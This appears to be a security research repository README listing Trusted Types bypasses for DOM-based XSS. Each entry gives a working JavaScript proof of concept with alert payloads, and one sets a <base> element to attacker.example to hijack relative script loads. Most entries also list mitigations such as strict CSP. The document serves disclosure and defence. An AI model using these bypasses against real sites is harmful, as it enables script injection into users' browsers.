cursed_types
cursed_types copied to clipboard
List of Trusted Types bypasses
Cursed Types
This repo contains list of DOM-based XSS sinks which are not subject to Trusted Types checks. Contributions welcome! 😊
Blob URL
Trusted Types enforced on a document will be inherited to Blob URL when navigating to Blob URL. However, resulting document of the Blob URL contains stored XSS payload, and therefore it bypasses Trusted Types check.
PoC:
let attackerControlledString = '<img src=x onerror=alert(origin)>';
const blob = new Blob([attackerControlledString], {type: 'text/html'});
const url = URL.createObjectURL(blob);
location.href = url;
Mitigations:
- Enforce Strict CSP.
- There is a discussion to provide an option for creating a secure Blob URL.
XHR document response
XMLHttpRequest (XHR) supports document response type, which returns parsed document of XHR response instead of text.
PoC:
let attackerControlledString = 'data:text/html,<img id=content src=x onerror=alert(origin)>';
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.body.appendChild(this.response.querySelector('#content'));
}
xhr.open("GET", attackerControlledString);
// The following changes response type from text to parsed document.
xhr.responseType = "document";
xhr.send();
Mitigations:
- Enforce Strict CSP.
- Only allow trusted endpoints in CSP connect-src.
Response API
Response API can be used in several places to serve a response of a request through Service Worker. If the Response is generated from user input, this could result in Trusted Types bypasses.
PoC:
self.addEventListener('fetch', event => {
const params = new URLSearchParams(event.request.url.split('?')[1]);
let attackerControlledString = params.get('attackerControlledString');
if (attackerControlledString) {
init = {
headers: {
'Content-Type': 'text/html',
'Content-Security-Policy': "require-trusted-types-for 'script'; trusted-types 'none';"
}
};
event.respondWith(new Response(attackerControlledString, init));
}
});
// Assuming legit service worker returns cached content.
caches.open("v1").then(cache => {
let attackerControlledString = '<img src=x onerror=alert(origin)>';
init = {
headers: {
'Content-Type': 'text/html',
'Content-Security-Policy': "require-trusted-types-for 'script'; trusted-types 'none';"
}
};
cache.put('xss', new Response(attackerControlledString, init));
})
Mitigations:
- Enforce Strict CSP.
Non-DOM API based script loading
Non-DOM API based script loading currently bypasses Trusted Types.
PoC:
let attackerControlledString = 'data:application/javascript,alert(origin)';
import(attackerControlledString);
Mitigations:
- Enforce Strict CSP + serve allow-list of script endpoints in another
script-srcdirective.
SVG <use> element
SVG <use> element takes href attribute, which can import an external SVG image from given URL. This currently bypasses Trusted Types check. This was found by Masato.
PoC:
let attackerControlledString =
`data:image/svg+xml,
<svg id="x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image href="x" onerror="alert(origin)" />
</svg>#x`;
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
const use = document.createElementNS('http://www.w3.org/2000/svg', 'use');
use.setAttributeNS('http://www.w3.org/1999/xlink', 'href', attackerControlledString);
svg.appendChild(use);
document.body.appendChild(svg);
Mitigations:
- Enforce Strict CSP.
- This is likely to be fixed in the future (reference).
document.createProcessingInstruction API
document.createProcessingInstruction can create processing instruction node from given URL and content type. This node can be inserted to a document which is valid as XML. Currently there is no Trusted Types check on document.createProcessingInstruction. This was found by Masato.
PoC:
/*
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" />
<xsl:template match="/">
<script>alert(origin)</script>
</xsl:template>
</xsl:stylesheet>
*/
let attackerControlledString = 'data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHhzbDpzdHlsZXNoZWV0IHhtbG5zOnhzbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS9YU0wvVHJhbnNmb3JtIiB2ZXJzaW9uPSIxLjAiPgogIDx4c2w6b3V0cHV0IG1ldGhvZD0iaHRtbCIgLz4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvIj4KICAgIDxzY3JpcHQ+YWxlcnQob3JpZ2luKTwvc2NyaXB0PgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg==';
const pi = document.createProcessingInstruction('xml-stylesheet', `href='${attackerControlledString}' type='text/xml'`);
document.insertBefore(pi, document.firstChild);
Mitigations:
- Enforce Strict CSP.
XSLT
Some elements in XSLT supports disable-output-escaping attribute (such as <xsl:text> and <xsl:value-of>). When disable-output-escaping is set to yes, escaping of HTML special characters will be disabled (and therefore XSS will be triggered). Currently, Trusted Types is bypassible in this case. This was found by Alex.
PoC:
let attackerControlledString = '<img src=x onerror=alert(origin)>';
const doc = document.implementation.createHTMLDocument();
const xslt = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:stylesheet');
xslt.setAttribute('xmlns:xsl', 'http://www.w3.org/1999/XSL/Transform');
const template = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:template');
template.setAttribute('match', '/');
const output = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:output');
output.setAttribute('method', 'html');
xslt.appendChild(output);
const text = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:text');
text.textContent = attackerControlledString;
text.setAttribute('disable-output-escaping', 'yes');
template.appendChild(text);
xslt.appendChild(template);
const processor = new XSLTProcessor();
processor.importStylesheet(xslt);
const fragment = processor.transformToFragment(doc, document);
document.body.appendChild(fragment);
Mitigations:
- Enforce Strict CSP.
<base> element
<base> element takes href attribute, which is used to resolve any relative URLs in the document. This currently bypasses Trusted Types check. This was found by Masato.
PoC:
<script>
let attackerControlledString = 'https://attacker.example/';
const base = document.createElement('base');
base.href = attackerControlledString;
document.head.appendChild(base);
</script>
<!-- Legitimate script loading -->
<script src="/foo.js"></script>
Mitigations:
- Enforce Strict CSP (i.e.
base-uri 'self').